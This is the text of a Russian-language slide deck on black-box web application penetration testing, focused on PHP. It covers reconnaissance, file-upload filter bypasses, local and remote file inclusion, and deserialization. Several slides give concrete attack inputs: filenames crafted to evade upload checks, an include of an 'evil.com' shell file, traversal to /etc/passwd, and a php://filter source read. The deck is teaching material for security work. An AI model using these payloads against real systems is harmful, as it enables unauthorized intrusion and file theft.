2. Кто я?
• Beched (ahack.ru, @ahack_ru)
• Выпускник и студент-магистрант факультета
математики НИУ-ВШЭ
• Участник независимого сообщества и CTF-
команды RDot.Org
• Эксперт в IncSecurity (анализ
защищённости)
6. Анализ защищённости
• Белым ящиком
– Об объекта анализа известно всё
– Есть исходные тексты, карты сети, и т. д.
• Чёрным ящиком
– Известны только точки входа (или даже их нет)
– Заказчик не выдаёт информацию
• Серый ящик
– На практике всегда что-то среднее
– Например, есть учётные записи, но нет
исходных текстов
7. Почему black box?
• Модель атаки, близкая к чёрному ящику
наиболее точно воспроизводит действия
большинства злоумышленников
• Если что-то удалось взломать чёрным
ящиком, то белым ящиком это будет ещё
проще
• Заказчики часто просто не хотят доверять
доступ к исходникам своих продуктов или к
серверам с конфиденциальной
информацией
8. План
• Первая часть:
– Приёмы разведки (reconnaissance)
– Определение используемых технологий
– (Тихий) сбор информации
– Быстрый поверхностный анализ (fuzzing)
• Вторая часть:
– Некоторые уязвимости PHP
– Тестирование интерфейсов загрузки файлов
– Уязвимости типа file inclusion
– Уязвимости механизмов десериализации
11. Первые шаги
• Включаем локальный прокси-сервер (Burp
Suite, OWASP ZAP, …)
• Гуляем по сайту
• Смотрим на запросы в логах прокси-
сервера
• Смотрим на HTTP-заголовки и содержимое
ответов
12. Главные идеи
• Полезно прикинуть, учитывая полученные
данные, как бы Вы реализовали
имеющийся функционал, если бы были
разработчиком (взгляд изнутри ящика)
• А затем подумать, какие ошибки Вы могли
бы допустить, и как их можно
проэксплуатировать (взгляд извне ящика)
13. Распознавание платформ
• Веб-серверы часто оставляют подпись в
HTTP-заголовке Server
• Также есть специфичные запросы,
например, ‘?a=a&a[]=a’, который вызывает
ошибку 500 в Rack Server
• Языки программирования могут быть
определены по заголовку X-Powered-by или
просто по расширениям файлов (.php, .aspx
и т. д.)
14. Распознавание платформ
• Если определить конкретный используемый
движок, то с языком опять-таки всё будет
ясно
• Кроме того, различным языкам свойственны
различные способы приведения типов,
нормализации и кодирования данных
• Например, если PHP получит массив вместо
строки и попытается его вывести через echo,
массив будет приведён к строке ‘Array’
15. Распознавание платформ
• Веб-фреймворки могут быть узнаны по
ключевым словам в HTTP-заголовках и в HTML-
содержимом
• Атрибут csrfmiddlewaretoken в формах –
признак Django framework
• Cookie-идентификатор _someprojectname_sess
– признак Ruby on Rails framework
• Cookie-идентификатор mojolicious – признак
Perl-фреймворка Mojolicious
16. Распознавание платформ
• Также взгляните на CSS и JS файлы, robots.txt,
CHANGELOG, и т. д.
• Эти файлы часто содержат подпись и текущую
версию установленной CMS
• Ещё иногда бывает HTTP-заголовок X-Powered-
CMS (например, у Bitrix)
• Часто название CMS написано в атрибуте
generator HTML-тега meta
• Ещё ключевые слова: com_smth (com_content)
=> Joomla, dle_root => DataLife Engine, /wp-
content/ => WordPress, и т. д.
17. Сбор информации
• Проверьте наличие специальных файлов и
директорий: sitemap.xml, crossdomain.xml,
robots.txt, CHANGELOG, .svn, .ssh, .git, CVS,
.DS_Store, Thumbs.db, test.php, info.php,
phpinfo.php, php.php, etc…
• Поищите бекапы исходных текстов: file.ext~,
file.ext.swp, file.ext.save, file.ext.part, #file.ext#,
.#file.ext, file.ext.bak, file.ext.old, file.ext.un~,
file.phps, file.txt, etc…
• Перебор файлов и директорий по словарю
18. Сбор информации
• Также можно обнаружить бекапы баз в
директориях типа backups или dumps. При
этом можно даже угадать формат имени
файла, например, dd-mm-yyyy.sql
• Всё это даёт большой объём информации,
значительно «обеляя» чёрный ящик. Доступ
к репозиториям с исходными текстами и
вовсе делает его белым.
19. Сбор информации
• Анализ веб-приложения часто осложняется
использованием технологий web 2.0
• URL в стиле REST или MVC скрывают начинку и
ограничивают формат передаваемых данных
• Типичный и удобный для взлома пример –
Apache с mod_rewrite (и PHP)
• В .htaccess указываются регулярные
выражения, задающие отображение из ЧПУ в
настоящие URL
20. Сбор информации
• Часто прямой доступ к сценариям не
запрещён, что позволяет найти их
перебором или угадыванием
• Также можно применить особенность
многих версий Apache – раскрытие имени
сценария в странице HTTP-ошибки 413
• POST-запрос с некорректным заголовком
Content-Length позволяет получить имя
сценария
21. Сбор информации
• Следующим шагом является получение списка
параметров веб-приложения (POST, GET,
Cookie, а также заголовки)
• Их можно угадать, исходя из структуры
используемых на сайте ссылок
• Также можно перебрать по словарю, причём
используя не линейный, а логарифмический
поиск
• par1=1&par2=1&par3=1&…&par_i=1&…
• Дихотомия по множеству параметров и
размеру/содержимому HTTP-ответа
22. Быстрый fuzzing
• По-хорошему надо фаззить каждый параметр
каждого сценария, но это довольно долго и
опасно (можно что-нибудь уронить)
• Поэтому полезно выделить основные точки
входа в веб-приложение, выделить запросы,
которые не изменяют состояния приложения
или изменяют состояние лишь для
конкретного пользователя
• Наиболее вероятные точки проникновения
выделить исходя из интуиции и опыта
23. Быстрый fuzzing
• Сорить в логах – нехорошо (и вовсе не только
для black-hat’ов)
• Поэтому надо пытаться максимизировать
количество получаемой информации в
результате одного запроса
• Это ещё и увлекательная задача на
составление универсальных векторов
• Пример: param=a%0atest:tset;<hok>%26'"koh
• Проверяем XSS, HTTP response splitting, HPP,
SQL-инъекции, а также различные виды иных
инъекций кода
24. Быстрый fuzzing
• Помимо прочего, полезно проверить
некоторые массовые уязвимости: CVE-2012-
1823, CVE-2013-0156, CVE-2014-0160 и т. д.
• Какой инструментарий? Многое из
рассказанного реализовано во фреймворке
LibPyWebHack:
https://github.com/beched/libpywebhack
• В локальной версии у меня реализовано
больше, когда-нибудь допилю и выложу =)
26. Почему ломаем PHP?
• Низкий порог вхождения, много глупых
кодеров с низкопробным кодом
• Запутанный язык с месивом различным
парадигм
• Годы небезопасной разработки и тучи
учебников и статей с уязвимыми
примерами
• ???
• PROFIT!
28. <?=$answer[0];
• Что делает header()?
• Отсылает браузеру HTTP заголовки
• Это прекращает выполнение сценария? НЕТ
• Получается, мы можем получить доступ к
административному интерфейсу
• Для этого удобно задать в Burp Suite
правило, заменяющее в заголовке ответа
‘302 Found’ на ‘200 OK’
30. <?=$answer[1];
• Небезопасное сравнение! Оператор проверки
эквивалентности в PHP – это '==', а
тождественности – '==='.
• Это означает, что '==' влечёт приведение
типов, что приводит к неожиданностям
php > var_dump('00e123123123'=='0');
bool(true)
• Как воспользоваться уязвимостью? Достаточно
слать запросы с подписью '0' и ждать, пока
усечённое значение хеша будет
соответствовать '0+ed+'
32. <?=$answer[2];
• Combo-break! Очевидное состояние гонки и
менее очевидная уязвимость PHP. Атомарными
на верхнем уровне можно считать операции
записи, чтения и удаления файла
• Сценарий не блокирует доступ к файлу для
других потоков, поэтому можно обратиться к
нему параллельно и выполнить произвольный
код (в .php-файле)
• Кроме того, можно остановить сценарий в
момент вывода данных в браузер, если
заменить метод GET на метод HEAD. См.
https://students.mimuw.edu.pl/~ai292615/php_he
ad_trick.pdf
33. Загрузка файлов
• Интерфейс загрузки файлов достаточно
легко реализовать безопасно, однако,
очень часто разработчики либо совсем
забывают про этот аспект, либо делают
ненужные костыли
• По сути проверка корректности имени
файла превращается в WAF с
сопутствующими типичными ошибками
34. Загрузка файлов
• Регистрозависимость: shell.PhP не
соответствует запрещающему регулярному
выражению '/.php$/'
• Отсутствие терминирующего символа:
shell.jpg.php соответствует '/^[w]+.jpg/is'
• Black-listing расширений: .htaccess, test.php3 не
соответствуют '/.php$/i'
• Black-listing и MIME-типы в Apache:
shell.php.asd не соответствует
'/.(htaccess|php3?)$/is' (расширение .asd будет
отброшено веб-сервером)
35. Загрузка файлов
• Управляющие символы в выражении:
shell.php.XXjpg соответствует '/[w]+.jpg$/is'
• Терминирующий символ в группе: shell.bmp.php
соответствует '/^[w]+.(bmp|gif|jpg$)/is'
• URL-декодирование имени файла:
shell.php%00.jpg проходит разумные проверки,
но после декодирования будет создан файл
shell.php
• Проверка содержимого: getimagesize()
обходится очень легко (заголовок "GIF11anaa",
например). Обход сжатия:
https://rdot.org/forum/showthread.php?t=2780
36. Загрузка файлов
• Проверка MIME-типа вместо расширения или
содержимого: любой файл можно загрузить с
Content-Type: image/gif
• Множественная загрузка: в интерпретаторе
PHP имелась уязвимость (исправлена
примерно в 5.4 версии), позволяющая читать
и загружать произвольные файлы путём
разрушения структуры массива $_FILES. См.
http://students.mimuw.edu.pl/~ai292615/php_
multipleupload_overwrite.pdf и
https://rdot.org/forum/showthread.php?t=1329
37. File inclusion
• В PHP-приложениях достаточно
распространены уязвимости, связанные с
чтением или исполнением произвольных
файлов
• Рассмотрим подробнее второй тип –
подключение исполняемого PHP-кода
• При этом путь с точки зрения PHP – это не
просто локальный путь в файловой системе, а
URL
• Поэтому разделяют Local File Inclusion и
Remote File Inclusion
38. File inclusion
• Чтение: file_get_contents, readfile,
highlight_file, fopen и т. д.
• Подключение: include(_once),
require(_once) и т. д.
• Зависимости для эксплуатации RFI в php.ini:
allow_url_fopen = On, allow_url_include = On
• URL-обёртки, поддерживаемые PHP:
http://php.net/manual/en/wrappers.php
39. RFI
• Суффикс неважен, поскольку имена файлов на
своём сервере атакующий контролирует. Но
можно его отбросить при помощи символов #,
x00, обёртки data
• Варианты запроса: http://evil.com/shell.txt#;
data:,<?phpinfo();?>
• SSRF: можно сканировать и просматривать
внутреннюю сеть: http://10.10.1.xx:port/
• Потенциально возможно исполнение
произвольного кода, например, через обёртку
expect
40. LFI
• Без префикса: /path/file,
zip:///path/to/zip/#file,
php://filter/read=base64.encode/resource=/p
ath/script.php
• С префиксом: /../../../path/file
• С постфиксом: /path/file%00,
/path/file////[x~4096]///// (до версии 5.3.4),
а также загрузка файла с нужным
расширением в доступную директорию
41. LFI
• Что подключать? Ищем загрузку
документов, аватаров, и т. д.
• /var/log/access.log, /proc/self/environ,
/var/mail, /tmp/sess_$PHPSESSID, любые
другие логи, доступные на запись
• Что если include './includes/' .
str_replace('../', '', $_GET['page']);? Это тупой
нерекурсивный WAF, вот обход:
?page=/….//….//….//….//etc/passwd
42. Трюки
• Such race condition
• Many shells
• Very LFI via PHPInfo. Wow!
• Что если не доступны ни логи, ни загрузки?
Есть phpinfo()? (см. слайд №14)
• Утечка имени временного файла через
phpinfo(), состояние гонки при замедлении
исполнения сценария (до 30 с.), в результате
имеем подключение файла с произвольным
содержимым
• См.
https://rdot.org/forum/showthread.php?t=1134
43. Трюки
• PHP – это весело. Windows – это весело.
Смешать, но не взбалтывать
• Windows: .C:somedir....D:otherdirfile
• WinAPI – это клёво, и WinAPI в PHP – ещё клёвее
HANDLE WINAPI FindFirstFile( _In_ LPCTSTR
lpFileName, _Out_ LPWIN32_FIND_DATA
lpFindFileData );
• FindFirstFile() используется многими
конструкциями PHP, в т. ч. include
• Угадайте, что будет подключено?
include 'C:<oot"<<';
44. Трюки
• Таким образом, в Windows + PHP даже не
нужен phpinfo-сценарий для эксплуатации LFI
через временный файл
• Достаточно отправить файл с шеллкодом и
одновременно подключить имя
/../../../../../../Windows/Temp/php<<.tmp
• API-вызов FindFirstFile самостоятельно отыщет
временный файл с шеллкодом
• См.
https://rdot.org/forum/showthread.php?t=926
45. Трюки
• Заметим, что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссера
• Исполнить загруженный в текущем потоке
файл не удастся, поэтому всё равно нужна
гонка
• Ещё из магии Windows+PHP – угадайте, что
будет подключено:
include '//beched/Desktop/test.txt';
• Это обход ограничение allow_url_include и
allow_url_fopen. См.
https://rdot.org/forum/showpost.php?p=26499&
postcount=58
46. Десериализация вкратце
• Уязвимости механизмов сериализации данных
– не редкость. Нашумевшие уязвимости с
unserialize() в PHP-движках и с YAML в Ruby on
Rails, Pickle-сериализация в Python
• (De)serialization: {Objects} () {Strings}
• Уязвимости основаны на том, что при
десериализации произвольных данных
возможно создание объектов произвольных
классов, а также вызов определённых
«магических» методов (см.
http://www.php.net/manual/ru/language.oop5.
magic.php)
47. Десериализация вкратце
• Задача – найти доступные классы с
магическими методами, которые будут
вызваны и могут использованы для
несанкционированного доступа
• Часто для этого используется __destruct()
• См.
https://rdot.org/forum/showthread.php?t=95
0
48. Трюки
• Можно выделить некоторые трюки. Ошибки в
обработке строк сериализации:
https://rdot.org/forum/showthread.php?t=1742
• Проведение атаки XXE OOB в отсутствие
частных классов с магическими методами
путём вызова метода __call класса-
обработчика SOAP-объектов:
http://raz0r.name/talks/confidence-2013-php-
object-injection-revisited/
49. Заключение
• В заключение ничего нового не скажешь
• TRAIN HARD
• Google, Twitter, blogs, RDot, CTF, write-ups,
documentation, coding, testing, research
• Надеюсь, узнали и запомнили что-то
полезное